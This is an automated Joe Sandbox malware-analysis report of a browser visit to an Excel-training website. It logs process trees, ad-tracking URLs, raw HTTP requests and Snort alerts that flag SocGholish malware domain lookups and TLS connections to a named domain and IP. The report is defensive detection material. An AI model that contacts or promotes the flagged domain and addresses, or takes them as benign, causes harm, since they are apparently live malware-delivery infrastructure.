Edit tour

Windows Analysis Report
http://earnandexcel.com

Overview

General Information

Sample URL:	http://earnandexcel.com
Analysis ID:	1424708
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic

Connects to several IPs in different countries

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 4072 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://earnandexcel.com/ MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 4860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6972 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6624 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Snort Signatures

ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) - Source IP: 192.168.2.17 - Destination IP: 88.119.175.92

Timestamp:	04/11/24-23:27:21.886359
SID:	2051635
Source Port:	50930
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) - Source IP: 192.168.2.17 - Destination IP: 88.119.175.92

Timestamp:	04/11/24-23:26:44.080362
SID:	2051635
Source Port:	49839
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) - Source IP: 192.168.2.17 - Destination IP: 1.1.1.1

Timestamp:	04/11/24-23:26:43.973797
SID:	2051634
Source Port:	57182
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) - Source IP: 192.168.2.17 - Destination IP: 1.1.1.1

Timestamp:	04/11/24-23:26:43.973650
SID:	2051634
Source Port:	64159
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) - Source IP: 192.168.2.17 - Destination IP: 88.119.175.92

Timestamp:	04/11/24-23:27:32.218542
SID:	2051635
Source Port:	51215
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: https://earnandexcel.thinkific.com/users/sign_in?_ga=2.214554974.837219450.1712870803-668614997.1712870801

HTTP Parser: <input type="password" .../> found

Source: https://earnandexcel.com/	HTTP Parser: No favicon
Source: https://earnandexcel.com/	HTTP Parser: No favicon
Source: https://earnandexcel.com/	HTTP Parser: No favicon
Source: https://earnandexcel.com/	HTTP Parser: No favicon
Source: https://player.vimeo.com/video/313656807?color&autopause=0&loop=0&muted=0&title=1&portrait=1&byline=1#t=	HTTP Parser: No favicon
Source: https://player.vimeo.com/video/313656807?color&autopause=0&loop=0&muted=0&title=1&portrait=1&byline=1#t=	HTTP Parser: No favicon
Source: https://player.vimeo.com/video/313656807?color&autopause=0&loop=0&muted=0&title=1&portrait=1&byline=1#t=	HTTP Parser: No favicon
Source: https://player.vimeo.com/video/313656807?color&autopause=0&loop=0&muted=0&title=1&portrait=1&byline=1#t=	HTTP Parser: No favicon
Source: https://tr.snapchat.com/cm/i?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf	HTTP Parser: No favicon
Source: https://app.grow.me/iframe-login?siteId=a93bd662-05a1-4ce7-81ce-4c67bccef190&callback=https%3A%2F%2Fearnandexcel.com%2F	HTTP Parser: No favicon
Source: https://sda.fyi/topics/	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=&gdprConsent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=&gdprConsent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=&gdprConsent=	HTTP Parser: No favicon
Source: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNGNiNTY2Yy1kMjljLTQ4MWMtODJmNS1kNjU3MjU1ZDE0MWI=&gdpr=&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=157108&userIdMacro=PID&us_privacy=1---&gdpr=0&gdpr_consent=&predirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpubmatic%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3DPID	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=157108&userIdMacro=PID&us_privacy=1---&gdpr=0&gdpr_consent=&predirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpubmatic%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3DPID	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=ttd&i=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=adf&i=4976612847433979613&gdpr=&gdpr_consent=	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=sus&i=ZhhVpcCo5ucAAKwn53sAAAAA	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent=&dcc=t	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?p=gumgum	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?p=17404&endpoint=us-west	HTTP Parser: No favicon
Source: https://rtb.gumgum.com/usync/9534?us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dgumgum%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D	HTTP Parser: No favicon
Source: https://u.openx.net/w/1.0/cm?cc=1&id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=	HTTP Parser: No favicon
Source: https://securepubads.g.doubleclick.net/static/topics/topics_frame.html	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=203013809340254297&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=rth&i=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=gumgum&tc=1	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=3c48d748-f84a-11ee-8242-bd2b605e64cf	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?&p=156423&us_privacy=1---&predirect=https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D1---%26bidder_id%3D25%26external_user_id%3D	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?&p=156423&us_privacy=1---&predirect=https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D1---%26bidder_id%3D25%26external_user_id%3D	HTTP Parser: No favicon
Source: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1	HTTP Parser: No favicon
Source: https://acdn.adnxs.com/dmp/async_usersync.html	HTTP Parser: No favicon
Source: https://acdn.adnxs.com/dmp/async_usersync.html	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=pbm&i=25F9549E-136A-47E9-9171-DA44C0E0D5E3	HTTP Parser: No favicon
Source: https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=137711&s=137812&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D58%263pid%3D&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=137711&s=137812&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D58%263pid%3D&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156212&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D71%263pid%3D&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156212&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D71%263pid%3D&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://ce.lijit.com/beacon?informer=&gdpr_consent=&us_privacy=1---&gpp=&gpp_sid=	HTTP Parser: No favicon
Source: https://ce.lijit.com/beacon?informer=&gdpr_consent=&us_privacy=1---&gpp=&gpp_sid=	HTTP Parser: No favicon
Source: https://ce.lijit.com/beacon?informer=&gdpr_consent=&us_privacy=1---&gpp=&gpp_sid=	HTTP Parser: No favicon
Source: https://us-u.openx.net/w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=uJS8wzsvUNNALSsYHAMcYJySJMU&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=Gr6DjBm904wB7YONGLmfhh7r1IYBvoDXSen4KhqW	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=1992631731613135717	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:rQ8OKBkf1RV1WN5&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:SFkS50Wi1RV1WO5&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=BUfXRQZEhxweRdAfAhPLSFcX1kQeQdVOUBPMeygg	HTTP Parser: No favicon
Source: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=25F9549E-136A-47E9-9171-DA44C0E0D5E3	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/ecm3?id=4283912458326592098&ex=appnexus.com&gdpr=0	HTTP Parser: No favicon
Source: https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/v3/pr?exlist=gg_an-db5&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr=0	HTTP Parser: No favicon
Source: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNGNiNTY2Yy1kMjljLTQ4MWMtODJmNS1kNjU3MjU1ZDE0MWI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv	HTTP Parser: No favicon
Source: https://google-bidout-d.openx.net/w/1.0/pd?plm=5	HTTP Parser: No favicon
Source: https://google-bidout-d.openx.net/w/1.0/pd?plm=5	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&gdpr=0&dl=gg_an-db5	HTTP Parser: No favicon
Source: https://ce.lijit.com/merge?pid=71&3pid=25F9549E-136A-47E9-9171-DA44C0E0D5E3	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://events-ssc.33across.com/match?liv=h&us_privacy=1---&bidder_id=25&external_user_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3	HTTP Parser: No favicon
Source: https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://rtb.gumgum.com/usync/amzns2s?r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dgg.com%26id%3D&gdpr=0	HTTP Parser: No favicon
Source: https://ce.lijit.com/merge?pid=58&3pid=25F9549E-136A-47E9-9171-DA44C0E0D5E3	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPUc07649b3c185472a86453f2ba9a61d55	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:3e956618-55ae-4f00-9920-4a105ef22f2a&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=spMtzQ_JASWAT8G5rlUYZg	HTTP Parser: No favicon
Source: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=adf&i=4976612847433979613&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MTgmdGw9MjAxNjA=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:09d46618-55af-4400-b835-cd5053c58300&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=Q7661572291818641876	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=157108&us_privacy=1---	HTTP Parser: No favicon
Source: https://tpc.googlesyndication.com/sodar/sodar2/225/runner.html	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=rth&i=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=gumgum	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/aframe	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/aframe	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/aframe	HTTP Parser: No favicon
Source: https://earnandexcel.thinkific.com/users/sign_in?_ga=2.214554974.837219450.1712870803-668614997.1712870801	HTTP Parser: No favicon
Source: https://u.openx.net/w/1.0/cm?id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=	HTTP Parser: No favicon
Source: https://u.openx.net/w/1.0/cm?id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=	HTTP Parser: No favicon
Source: https://u.openx.net/w/1.0/cm?id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=	HTTP Parser: No favicon
Source: https://imasdk.googleapis.com/js/core/bridge3.633.0_en.html#goog_423483362	HTTP Parser: No favicon
Source: https://earnandexcel.com/course-category/data-analysis-bi/?tutor-course-filter-category=16701	HTTP Parser: No favicon
Source: https://earnandexcel.com/course-category/data-analysis-bi/?tutor-course-filter-category=16701	HTTP Parser: No favicon
Source: https://pandg.tapad.com/tag?gdpr=0&us_privacy=1---&referrer_url=https%3A%2F%2Fearnandexcel.com%2F&page_url=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&owner=P%26G&bp_id=mediavine&ch=%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22fullVersionList%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%7D&initiator=js&data=%7B%22category%22%3A%22Hobbies%20%26%20Interests%22%2C%22subcategory%22%3A%22Hobbie...	HTTP Parser: No favicon
Source: https://eb2.3lift.com/sync?us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&	HTTP Parser: No favicon
Source: https://eb2.3lift.com/sync?us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&	HTTP Parser: No favicon
Source: https://ssbsync.smartadserver.com/api/sync?callerId=8	HTTP Parser: No favicon
Source: https://earnandexcel.com/courses/power-query/	HTTP Parser: No favicon
Source: https://earnandexcel.com/courses/power-query/	HTTP Parser: No favicon
Source: https://player.vimeo.com/video/313645292	HTTP Parser: No favicon
Source: https://player.vimeo.com/video/313645292	HTTP Parser: No favicon
Source: https://player.vimeo.com/video/313645292	HTTP Parser: No favicon

Source: https://earnandexcel.thinkific.com/users/sign_in?_ga=2.214554974.837219450.1712870803-668614997.1712870801

HTTP Parser: No <meta name="author".. found

Source: https://earnandexcel.thinkific.com/users/sign_in?_ga=2.214554974.837219450.1712870803-668614997.1712870801

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.76.104.139:443 -> 192.168.2.17:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.76.104.139:443 -> 192.168.2.17:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:50963 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 95MB

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2051634 ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) 192.168.2.17:64159 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2051634 ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) 192.168.2.17:57182 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2051635 ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) 192.168.2.17:49839 -> 88.119.175.92:443
Source: Traffic	Snort IDS: 2051635 ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) 192.168.2.17:50930 -> 88.119.175.92:443
Source: Traffic	Snort IDS: 2051635 ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) 192.168.2.17:51215 -> 88.119.175.92:443

Source: unknown

Network traffic detected: IP country count 11

Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.122.249
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.222.123
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.122.249
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.222.123
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.76.104.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.76.104.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.76.104.139
Source: unknown	TCP traffic detected without corresponding DNS query: 104.76.104.139

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/theme.min.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/thrive-ultimatum/tcb-bridge/assets/css/placeholders.css HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
